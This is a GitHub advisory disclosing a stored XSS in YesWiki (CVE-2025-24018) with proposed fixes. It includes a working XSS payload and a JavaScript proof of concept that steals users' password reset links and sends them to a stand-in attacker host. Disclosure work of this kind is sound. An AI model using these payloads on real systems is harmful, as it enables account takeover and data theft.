GitHub Advisoryadvisory · Packagist

GHSA-w59h-3x3q-3p6j Authenticated Stored XSS in YesWiki

HIGH Published 2025-01-21 Modified 2025-01-21 Official page ↗
Aliases
CVE-2025-24018
Ecosystem
Packagist
Packages
yeswiki/yeswiki
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L
Weaknesses
CWE-79
Reviewed
2025-01-21

Affected packages

• Packagist yeswiki/yeswiki: < 4.5.0 → fixed in 4.5.0

Description

Authenticated Stored XSS in YesWiki wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"> ' . _t('UPLOAD_FILE') . ' ' . $this->file . ''; } ``` The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser. PoC 1. Simple XSS Here is a working payload `{{attach file="alert(document.domain)" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}}` tha works in pages and comments: On a comment: On a page: 2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS: ```javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); }) ``` Posting a comment using this specially crafted payload with a user account: Allows our administrator account's password reset link to be sent to the listener of the attacker: Therefore giving us access to an successful password reset for any account triggering the XSS: Impact This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance. Suggestion of possible corrective measures • Sanitize properly the filename attribute ```php public function showFileNotExits() { $filename = htmlspecialchars($this->file); echo 'wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"> ' . _t('UPLOAD_FILE') . ' ' . $filename . ''; } ``` • Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token • Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) > The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

Related

Alias · CVE (1)

  • CVE-2025-24018 YesWiki is a wiki system written in PHP. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References